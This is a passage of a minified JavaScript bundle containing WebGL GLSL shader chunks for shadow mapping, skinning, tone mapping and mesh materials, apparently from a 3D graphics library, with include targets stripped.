+\n\t\t\t\tmix( mix( texture2DCompare( shadowMap, uv + vec2( -dx, -dy ), shadowCoord.z ), \n\t\t\t\t\t\t\ttexture2DCompare( shadowMap, uv + vec2( 2.0 * dx, -dy ), shadowCoord.z ),\n\t\t\t\t\t\t\tf.x ),\n\t\t\t\t\t mix( texture2DCompare( shadowMap, uv + vec2( -dx, 2.0 * dy ), shadowCoord.z ), \n\t\t\t\t\t\t\ttexture2DCompare( shadowMap, uv + vec2( 2.0 * dx, 2.0 * dy ), shadowCoord.z ),\n\t\t\t\t\t\t\tf.x ),\n\t\t\t\t\t f.y )\n\t\t\t) * ( 1.0 / 9.0 );\n\t\t#elif defined( SHADOWMAP_TYPE_VSM )\n\t\t\tshadow = VSMShadow( shadowMap, shadowCoord.xy, shadowCoord.z );\n\t\t#else\n\t\t\tshadow = texture2DCompare( shadowMap, shadowCoord.xy, shadowCoord.z );\n\t\t#endif\n\t\t}\n\t\treturn shadow;\n\t}\n\tvec2 cubeToUV( vec3 v, float texelSizeY ) {\n\t\tvec3 absV = abs( v );\n\t\tfloat scaleToCube = 1.0 / max( absV.x, max( absV.y, absV.z ) );\n\t\tabsV *= scaleToCube;\n\t\tv *= scaleToCube * ( 1.0 - 2.0 * texelSizeY );\n\t\tvec2 planar = v.xy;\n\t\tfloat almostATexel = 1.5 * texelSizeY;\n\t\tfloat almostOne = 1.0 - almostATexel;\n\t\tif ( absV.z >= almostOne ) {\n\t\t\tif ( v.z > 0.0 )\n\t\t\t\tplanar.x = 4.0 - v.x;\n\t\t} else if ( absV.x >= almostOne ) {\n\t\t\tfloat signX = sign( v.x );\n\t\t\tplanar.x = v.z * signX + 2.0 * signX;\n\t\t} else if ( absV.y >= almostOne ) {\n\t\t\tfloat signY = sign( v.y );\n\t\t\tplanar.x = v.x + 2.0 * signY + 2.0;\n\t\t\tplanar.y = v.z * signY - 2.0;\n\t\t}\n\t\treturn vec2( 0.125, 0.25 ) * planar + vec2( 0.375, 0.75 );\n\t}\n\tfloat getPointShadow( sampler2D shadowMap, vec2 shadowMapSize, float shadowBias, float shadowRadius, vec4 shadowCoord, float shadowCameraNear, float shadowCameraFar ) {\n\t\tvec2 texelSize = vec2( 1.0 ) / ( shadowMapSize * vec2( 4.0, 2.0 ) );\n\t\tvec3 lightToPosition = shadowCoord.xyz;\n\t\tfloat dp = ( length( lightToPosition ) - shadowCameraNear ) / ( shadowCameraFar - shadowCameraNear );\t\tdp += shadowBias;\n\t\tvec3 bd3D = normalize( lightToPosition );\n\t\t#if defined( SHADOWMAP_TYPE_PCF ) || defined( SHADOWMAP_TYPE_PCF_SOFT ) || defined( SHADOWMAP_TYPE_VSM )\n\t\t\tvec2 offset = vec2( - 1, 1 ) * shadowRadius * texelSize.y;\n\t\t\treturn (\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.xyy, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.yyy, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.xyx, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.yyx, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.xxy, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.yxy, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.xxx, texelSize.y ), dp ) +\n\t\t\t\ttexture2DCompare( shadowMap, cubeToUV( bd3D + offset.yxx, texelSize.y ), dp )\n\t\t\t) * ( 1.0 / 9.0 );\n\t\t#else\n\t\t\treturn texture2DCompare( shadowMap, cubeToUV( bd3D, texelSize.y ), dp );\n\t\t#endif\n\t}\n#endif",shadowmap_pars_vertex:"#ifdef USE_SHADOWMAP\n\t#if NUM_DIR_LIGHT_SHADOWS > 0\n\t\tuniform mat4 directionalShadowMatrix[ NUM_DIR_LIGHT_SHADOWS ];\n\t\tvarying vec4 vDirectionalShadowCoord[ NUM_DIR_LIGHT_SHADOWS ];\n\t\tstruct DirectionalLightShadow {\n\t\t\tfloat shadowBias;\n\t\t\tfloat shadowNormalBias;\n\t\t\tfloat shadowRadius;\n\t\t\tvec2 shadowMapSize;\n\t\t};\n\t\tuniform DirectionalLightShadow directionalLightShadows[ NUM_DIR_LIGHT_SHADOWS ];\n\t#endif\n\t#if NUM_SPOT_LIGHT_SHADOWS > 0\n\t\tuniform mat4 spotShadowMatrix[ NUM_SPOT_LIGHT_SHADOWS ];\n\t\tvarying vec4 vSpotShadowCoord[ NUM_SPOT_LIGHT_SHADOWS ];\n\t\tstruct SpotLightShadow {\n\t\t\tfloat shadowBias;\n\t\t\tfloat shadowNormalBias;\n\t\t\tfloat shadowRadius;\n\t\t\tvec2 shadowMapSize;\n\t\t};\n\t\tuniform SpotLightShadow spotLightShadows[ NUM_SPOT_LIGHT_SHADOWS ];\n\t#endif\n\t#if NUM_POINT_LIGHT_SHADOWS > 0\n\t\tuniform mat4 pointShadowMatrix[ NUM_POINT_LIGHT_SHADOWS ];\n\t\tvarying vec4 vPointShadowCoord[ NUM_POINT_LIGHT_SHADOWS ];\n\t\tstruct PointLightShadow {\n\t\t\tfloat shadowBias;\n\t\t\tfloat shadowNormalBias;\n\t\t\tfloat shadowRadius;\n\t\t\tvec2 shadowMapSize;\n\t\t\tfloat shadowCameraNear;\n\t\t\tfloat shadowCameraFar;\n\t\t};\n\t\tuniform PointLightShadow pointLightShadows[ NUM_POINT_LIGHT_SHADOWS ];\n\t#endif\n#endif",shadowmap_vertex:"#ifdef USE_SHADOWMAP\n\t#if NUM_DIR_LIGHT_SHADOWS > 0 || NUM_SPOT_LIGHT_SHADOWS > 0 || NUM_POINT_LIGHT_SHADOWS > 0\n\t\tvec3 shadowWorldNormal = inverseTransformDirection( transformedNormal, viewMatrix );\n\t\tvec4 shadowWorldPosition;\n\t#endif\n\t#if NUM_DIR_LIGHT_SHADOWS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_DIR_LIGHT_SHADOWS; i ++ ) {\n\t\tshadowWorldPosition = worldPosition + vec4( shadowWorldNormal * directionalLightShadows[ i ].shadowNormalBias, 0 );\n\t\tvDirectionalShadowCoord[ i ] = directionalShadowMatrix[ i ] * shadowWorldPosition;\n\t}\n\t#pragma unroll_loop_end\n\t#endif\n\t#if NUM_SPOT_LIGHT_SHADOWS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_SPOT_LIGHT_SHADOWS; i ++ ) {\n\t\tshadowWorldPosition = worldPosition + vec4( shadowWorldNormal * spotLightShadows[ i ].shadowNormalBias, 0 );\n\t\tvSpotShadowCoord[ i ] = spotShadowMatrix[ i ] * shadowWorldPosition;\n\t}\n\t#pragma unroll_loop_end\n\t#endif\n\t#if NUM_POINT_LIGHT_SHADOWS > 0\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_POINT_LIGHT_SHADOWS; i ++ ) {\n\t\tshadowWorldPosition = worldPosition + vec4( shadowWorldNormal * pointLightShadows[ i ].shadowNormalBias, 0 );\n\t\tvPointShadowCoord[ i ] = pointShadowMatrix[ i ] * shadowWorldPosition;\n\t}\n\t#pragma unroll_loop_end\n\t#endif\n#endif",shadowmask_pars_fragment:"float getShadowMask() {\n\tfloat shadow = 1.0;\n\t#ifdef USE_SHADOWMAP\n\t#if NUM_DIR_LIGHT_SHADOWS > 0\n\tDirectionalLightShadow directionalLight;\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_DIR_LIGHT_SHADOWS; i ++ ) {\n\t\tdirectionalLight = directionalLightShadows[ i ];\n\t\tshadow *= receiveShadow ? getShadow( directionalShadowMap[ i ], directionalLight.shadowMapSize, directionalLight.shadowBias, directionalLight.shadowRadius, vDirectionalShadowCoord[ i ] ) : 1.0;\n\t}\n\t#pragma unroll_loop_end\n\t#endif\n\t#if NUM_SPOT_LIGHT_SHADOWS > 0\n\tSpotLightShadow spotLight;\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_SPOT_LIGHT_SHADOWS; i ++ ) {\n\t\tspotLight = spotLightShadows[ i ];\n\t\tshadow *= receiveShadow ? getShadow( spotShadowMap[ i ], spotLight.shadowMapSize, spotLight.shadowBias, spotLight.shadowRadius, vSpotShadowCoord[ i ] ) : 1.0;\n\t}\n\t#pragma unroll_loop_end\n\t#endif\n\t#if NUM_POINT_LIGHT_SHADOWS > 0\n\tPointLightShadow pointLight;\n\t#pragma unroll_loop_start\n\tfor ( int i = 0; i < NUM_POINT_LIGHT_SHADOWS; i ++ ) {\n\t\tpointLight = pointLightShadows[ i ];\n\t\tshadow *= receiveShadow ? getPointShadow( pointShadowMap[ i ], pointLight.shadowMapSize, pointLight.shadowBias, pointLight.shadowRadius, vPointShadowCoord[ i ], pointLight.shadowCameraNear, pointLight.shadowCameraFar ) : 1.0;\n\t}\n\t#pragma unroll_loop_end\n\t#endif\n\t#endif\n\treturn shadow;\n}",skinbase_vertex:"#ifdef USE_SKINNING\n\tmat4 boneMatX = getBoneMatrix( skinIndex.x );\n\tmat4 boneMatY = getBoneMatrix( skinIndex.y );\n\tmat4 boneMatZ = getBoneMatrix( skinIndex.z );\n\tmat4 boneMatW = getBoneMatrix( skinIndex.w );\n#endif",skinning_pars_vertex:"#ifdef USE_SKINNING\n\tuniform mat4 bindMatrix;\n\tuniform mat4 bindMatrixInverse;\n\t#ifdef BONE_TEXTURE\n\t\tuniform highp sampler2D boneTexture;\n\t\tuniform int boneTextureSize;\n\t\tmat4 getBoneMatrix( const in float i ) {\n\t\t\tfloat j = i * 4.0;\n\t\t\tfloat x = mod( j, float( boneTextureSize ) );\n\t\t\tfloat y = floor( j / float( boneTextureSize ) );\n\t\t\tfloat dx = 1.0 / float( boneTextureSize );\n\t\t\tfloat dy = 1.0 / float( boneTextureSize );\n\t\t\ty = dy * ( y + 0.5 );\n\t\t\tvec4 v1 = texture2D( boneTexture, vec2( dx * ( x + 0.5 ), y ) );\n\t\t\tvec4 v2 = texture2D( boneTexture, vec2( dx * ( x + 1.5 ), y ) );\n\t\t\tvec4 v3 = texture2D( boneTexture, vec2( dx * ( x + 2.5 ), y ) );\n\t\t\tvec4 v4 = texture2D( boneTexture, vec2( dx * ( x + 3.5 ), y ) );\n\t\t\tmat4 bone = mat4( v1, v2, v3, v4 );\n\t\t\treturn bone;\n\t\t}\n\t#else\n\t\tuniform mat4 boneMatrices[ MAX_BONES ];\n\t\tmat4 getBoneMatrix( const in float i ) {\n\t\t\tmat4 bone = boneMatrices[ int(i) ];\n\t\t\treturn bone;\n\t\t}\n\t#endif\n#endif",skinning_vertex:"#ifdef USE_SKINNING\n\tvec4 skinVertex = bindMatrix * vec4( transformed, 1.0 );\n\tvec4 skinned = vec4( 0.0 );\n\tskinned += boneMatX * skinVertex * skinWeight.x;\n\tskinned += boneMatY * skinVertex * skinWeight.y;\n\tskinned += boneMatZ * skinVertex * skinWeight.z;\n\tskinned += boneMatW * skinVertex * skinWeight.w;\n\ttransformed = ( bindMatrixInverse * skinned ).xyz;\n#endif",skinnormal_vertex:"#ifdef USE_SKINNING\n\tmat4 skinMatrix = mat4( 0.0 );\n\tskinMatrix += skinWeight.x * boneMatX;\n\tskinMatrix += skinWeight.y * boneMatY;\n\tskinMatrix += skinWeight.z * boneMatZ;\n\tskinMatrix += skinWeight.w * boneMatW;\n\tskinMatrix = bindMatrixInverse * skinMatrix * bindMatrix;\n\tobjectNormal = vec4( skinMatrix * vec4( objectNormal, 0.0 ) ).xyz;\n\t#ifdef USE_TANGENT\n\t\tobjectTangent = vec4( skinMatrix * vec4( objectTangent, 0.0 ) ).xyz;\n\t#endif\n#endif",specularmap_fragment:"float specularStrength;\n#ifdef USE_SPECULARMAP\n\tvec4 texelSpecular = texture2D( specularMap, vUv );\n\tspecularStrength = texelSpecular.r;\n#else\n\tspecularStrength = 1.0;\n#endif",specularmap_pars_fragment:"#ifdef USE_SPECULARMAP\n\tuniform sampler2D specularMap;\n#endif",tonemapping_fragment:"#if defined( TONE_MAPPING )\n\tgl_FragColor.rgb = toneMapping( gl_FragColor.rgb );\n#endif",tonemapping_pars_fragment:"#ifndef saturate\n#define saturate(a) clamp( a, 0.0, 1.0 )\n#endif\nuniform float toneMappingExposure;\nvec3 LinearToneMapping( vec3 color ) {\n\treturn toneMappingExposure * color;\n}\nvec3 ReinhardToneMapping( vec3 color ) {\n\tcolor *= toneMappingExposure;\n\treturn saturate( color / ( vec3( 1.0 ) + color ) );\n}\nvec3 OptimizedCineonToneMapping( vec3 color ) {\n\tcolor *= toneMappingExposure;\n\tcolor = max( vec3( 0.0 ), color - 0.004 );\n\treturn pow( ( color * ( 6.2 * color + 0.5 ) ) / ( color * ( 6.2 * color + 1.7 ) + 0.06 ), vec3( 2.2 ) );\n}\nvec3 RRTAndODTFit( vec3 v ) {\n\tvec3 a = v * ( v + 0.0245786 ) - 0.000090537;\n\tvec3 b = v * ( 0.983729 * v + 0.4329510 ) + 0.238081;\n\treturn a / b;\n}\nvec3 ACESFilmicToneMapping( vec3 color ) {\n\tconst mat3 ACESInputMat = mat3(\n\t\tvec3( 0.59719, 0.07600, 0.02840 ),\t\tvec3( 0.35458, 0.90834, 0.13383 ),\n\t\tvec3( 0.04823, 0.01566, 0.83777 )\n\t);\n\tconst mat3 ACESOutputMat = mat3(\n\t\tvec3(\t1.60475, -0.10208, -0.00327 ),\t\tvec3( -0.53108,\t1.10813, -0.07276 ),\n\t\tvec3( -0.07367, -0.00605,\t1.07602 )\n\t);\n\tcolor *= toneMappingExposure / 0.6;\n\tcolor = ACESInputMat * color;\n\tcolor = RRTAndODTFit( color );\n\tcolor = ACESOutputMat * color;\n\treturn saturate( color );\n}\nvec3 CustomToneMapping( vec3 color ) { return color; }",transmissionmap_fragment:"#ifdef USE_TRANSMISSIONMAP\n\ttotalTransmission *= texture2D( transmissionMap, vUv ).r;\n#endif",transmissionmap_pars_fragment:"#ifdef USE_TRANSMISSIONMAP\n\tuniform sampler2D transmissionMap;\n#endif",uv_pars_fragment:"#if ( defined( USE_UV ) && ! defined( UVS_VERTEX_ONLY ) )\n\tvarying vec2 vUv;\n#endif",uv_pars_vertex:"#ifdef USE_UV\n\t#ifdef UVS_VERTEX_ONLY\n\t\tvec2 vUv;\n\t#else\n\t\tvarying vec2 vUv;\n\t#endif\n\tuniform mat3 uvTransform;\n#endif",uv_vertex:"#ifdef USE_UV\n\tvUv = ( uvTransform * vec3( uv, 1 ) ).xy;\n#endif",uv2_pars_fragment:"#if defined( USE_LIGHTMAP ) || defined( USE_AOMAP )\n\tvarying vec2 vUv2;\n#endif",uv2_pars_vertex:"#if defined( USE_LIGHTMAP ) || defined( USE_AOMAP )\n\tattribute vec2 uv2;\n\tvarying vec2 vUv2;\n\tuniform mat3 uv2Transform;\n#endif",uv2_vertex:"#if defined( USE_LIGHTMAP ) || defined( USE_AOMAP )\n\tvUv2 = ( uv2Transform * vec3( uv2, 1 ) ).xy;\n#endif",worldpos_vertex:"#if defined( USE_ENVMAP ) || defined( DISTANCE ) || defined ( USE_SHADOWMAP )\n\tvec4 worldPosition = vec4( transformed, 1.0 );\n\t#ifdef USE_INSTANCING\n\t\tworldPosition = instanceMatrix * worldPosition;\n\t#endif\n\tworldPosition = modelMatrix * worldPosition;\n#endif",background_frag:"uniform sampler2D t2D;\nvarying vec2 vUv;\nvoid main() {\n\tvec4 texColor = texture2D( t2D, vUv );\n\tgl_FragColor = mapTexelToLinear( texColor );\n\t#include \n\t#include \n}",background_vert:"varying vec2 vUv;\nuniform mat3 uvTransform;\nvoid main() {\n\tvUv = ( uvTransform * vec3( uv, 1 ) ).xy;\n\tgl_Position = vec4( position.xy, 1.0, 1.0 );\n}",cube_frag:"#include \nuniform float opacity;\nvarying vec3 vWorldDirection;\n#include \nvoid main() {\n\tvec3 vReflect = vWorldDirection;\n\t#include \n\tgl_FragColor = envColor;\n\tgl_FragColor.a *= opacity;\n\t#include \n\t#include \n}",cube_vert:"varying vec3 vWorldDirection;\n#include \nvoid main() {\n\tvWorldDirection = transformDirection( position, modelMatrix );\n\t#include \n\t#include \n\tgl_Position.z = gl_Position.w;\n}",depth_frag:"#if DEPTH_PACKING == 3200\n\tuniform float opacity;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvarying vec2 vHighPrecisionZW;\nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( 1.0 );\n\t#if DEPTH_PACKING == 3200\n\t\tdiffuseColor.a = opacity;\n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\tfloat fragCoordZ = 0.5 * vHighPrecisionZW[0] / vHighPrecisionZW[1] + 0.5;\n\t#if DEPTH_PACKING == 3200\n\t\tgl_FragColor = vec4( vec3( 1.0 - fragCoordZ ), opacity );\n\t#elif DEPTH_PACKING == 3201\n\t\tgl_FragColor = packDepthToRGBA( fragCoordZ );\n\t#endif\n}",depth_vert:"#include \n#include \n#include \n#include \n#include \n#include \n#include \nvarying vec2 vHighPrecisionZW;\nvoid main() {\n\t#include \n\t#include \n\t#ifdef USE_DISPLACEMENTMAP\n\t\t#include \n\t\t#include \n\t\t#include \n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvHighPrecisionZW = gl_Position.zw;\n}",distanceRGBA_frag:"#define DISTANCE\nuniform vec3 referencePosition;\nuniform float nearDistance;\nuniform float farDistance;\nvarying vec3 vWorldPosition;\n#include \n#include \n#include \n#include \n#include \n#include \nvoid main () {\n\t#include \n\tvec4 diffuseColor = vec4( 1.0 );\n\t#include \n\t#include \n\t#include \n\tfloat dist = length( vWorldPosition - referencePosition );\n\tdist = ( dist - nearDistance ) / ( farDistance - nearDistance );\n\tdist = saturate( dist );\n\tgl_FragColor = packDepthToRGBA( dist );\n}",distanceRGBA_vert:"#define DISTANCE\nvarying vec3 vWorldPosition;\n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#ifdef USE_DISPLACEMENTMAP\n\t\t#include \n\t\t#include \n\t\t#include \n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvWorldPosition = worldPosition.xyz;\n}",equirect_frag:"uniform sampler2D tEquirect;\nvarying vec3 vWorldDirection;\n#include \nvoid main() {\n\tvec3 direction = normalize( vWorldDirection );\n\tvec2 sampleUV = equirectUv( direction );\n\tvec4 texColor = texture2D( tEquirect, sampleUV );\n\tgl_FragColor = mapTexelToLinear( texColor );\n\t#include \n\t#include \n}",equirect_vert:"varying vec3 vWorldDirection;\n#include \nvoid main() {\n\tvWorldDirection = transformDirection( position, modelMatrix );\n\t#include \n\t#include \n}",linedashed_frag:"uniform vec3 diffuse;\nuniform float opacity;\nuniform float dashSize;\nuniform float totalSize;\nvarying float vLineDistance;\n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tif ( mod( vLineDistance, totalSize ) > dashSize ) {\n\t\tdiscard;\n\t}\n\tvec3 outgoingLight = vec3( 0.0 );\n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\t#include \n\t#include \n\toutgoingLight = diffuseColor.rgb;\n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n}",linedashed_vert:"uniform float scale;\nattribute float lineDistance;\nvarying float vLineDistance;\n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\tvLineDistance = scale * lineDistance;\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshbasic_frag:"uniform vec3 diffuse;\nuniform float opacity;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n\t#ifdef USE_LIGHTMAP\n\t\n\t\tvec4 lightMapTexel= texture2D( lightMap, vUv2 );\n\t\treflectedLight.indirectDiffuse += lightMapTexelToLinear( lightMapTexel ).rgb * lightMapIntensity;\n\t#else\n\t\treflectedLight.indirectDiffuse += vec3( 1.0 );\n\t#endif\n\t#include \n\treflectedLight.indirectDiffuse *= diffuseColor.rgb;\n\tvec3 outgoingLight = reflectedLight.indirectDiffuse;\n\t#include \n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshbasic_vert:"#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#ifdef USE_ENVMAP\n\t#include \n\t#include \n\t#include \n\t#include \n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshlambert_frag:"uniform vec3 diffuse;\nuniform vec3 emissive;\nuniform float opacity;\nvarying vec3 vLightFront;\nvarying vec3 vIndirectFront;\n#ifdef DOUBLE_SIDED\n\tvarying vec3 vLightBack;\n\tvarying vec3 vIndirectBack;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\tReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n\tvec3 totalEmissiveRadiance = emissive;\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#ifdef DOUBLE_SIDED\n\t\treflectedLight.indirectDiffuse += ( gl_FrontFacing ) ? vIndirectFront : vIndirectBack;\n\t#else\n\t\treflectedLight.indirectDiffuse += vIndirectFront;\n\t#endif\n\t#include \n\treflectedLight.indirectDiffuse *= BRDF_Diffuse_Lambert( diffuseColor.rgb );\n\t#ifdef DOUBLE_SIDED\n\t\treflectedLight.directDiffuse = ( gl_FrontFacing ) ? vLightFront : vLightBack;\n\t#else\n\t\treflectedLight.directDiffuse = vLightFront;\n\t#endif\n\treflectedLight.directDiffuse *= BRDF_Diffuse_Lambert( diffuseColor.rgb ) * getShadowMask();\n\t#include \n\tvec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + totalEmissiveRadiance;\n\t#include \n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshlambert_vert:"#define LAMBERT\nvarying vec3 vLightFront;\nvarying vec3 vIndirectFront;\n#ifdef DOUBLE_SIDED\n\tvarying vec3 vLightBack;\n\tvarying vec3 vIndirectBack;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshmatcap_frag:"#define MATCAP\nuniform vec3 diffuse;\nuniform float opacity;\nuniform sampler2D matcap;\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvec3 viewDir = normalize( vViewPosition );\n\tvec3 x = normalize( vec3( viewDir.z, 0.0, - viewDir.x ) );\n\tvec3 y = cross( viewDir, x );\n\tvec2 uv = vec2( dot( x, normal ), dot( y, normal ) ) * 0.495 + 0.5;\n\t#ifdef USE_MATCAP\n\t\tvec4 matcapColor = texture2D( matcap, uv );\n\t\tmatcapColor = matcapTexelToLinear( matcapColor );\n\t#else\n\t\tvec4 matcapColor = vec4( 1.0 );\n\t#endif\n\tvec3 outgoingLight = diffuseColor.rgb * matcapColor.rgb;\n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshmatcap_vert:"#define MATCAP\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#ifndef FLAT_SHADED\n\t\tvNormal = normalize( transformedNormal );\n\t#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvViewPosition = - mvPosition.xyz;\n}",meshtoon_frag:"#define TOON\nuniform vec3 diffuse;\nuniform vec3 emissive;\nuniform float opacity;\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\tReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n\tvec3 totalEmissiveRadiance = emissive;\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + totalEmissiveRadiance;\n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshtoon_vert:"#define TOON\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n#ifndef FLAT_SHADED\n\tvNormal = normalize( transformedNormal );\n#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvViewPosition = - mvPosition.xyz;\n\t#include \n\t#include \n\t#include \n}",meshphong_frag:"#define PHONG\nuniform vec3 diffuse;\nuniform vec3 emissive;\nuniform vec3 specular;\nuniform float shininess;\nuniform float opacity;\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\tReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n\tvec3 totalEmissiveRadiance = emissive;\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + reflectedLight.directSpecular + reflectedLight.indirectSpecular + totalEmissiveRadiance;\n\t#include \n\tgl_FragColor = vec4( outgoingLight, diffuseColor.a );\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n}",meshphong_vert:"#define PHONG\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n#ifndef FLAT_SHADED\n\tvNormal = normalize( transformedNormal );\n#endif\n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\t#include \n\tvViewPosition = - mvPosition.xyz;\n\t#include \n\t#include \n\t#include \n\t#include \n}",meshphysical_frag:"#define STANDARD\n#ifdef PHYSICAL\n\t#define REFLECTIVITY\n\t#define CLEARCOAT\n\t#define TRANSMISSION\n#endif\nuniform vec3 diffuse;\nuniform vec3 emissive;\nuniform float roughness;\nuniform float metalness;\nuniform float opacity;\n#ifdef TRANSMISSION\n\tuniform float transmission;\n#endif\n#ifdef REFLECTIVITY\n\tuniform float reflectivity;\n#endif\n#ifdef CLEARCOAT\n\tuniform float clearcoat;\n\tuniform float clearcoatRoughness;\n#endif\n#ifdef USE_SHEEN\n\tuniform vec3 sheen;\n#endif\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n\tvarying vec3 vNormal;\n\t#ifdef USE_TANGENT\n\t\tvarying vec3 vTangent;\n\t\tvarying vec3 vBitangent;\n\t#endif\n#endif\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nvoid main() {\n\t#include \n\tvec4 diffuseColor = vec4( diffuse, opacity );\n\tReflectedLight reflectedLight = ReflectedLight( 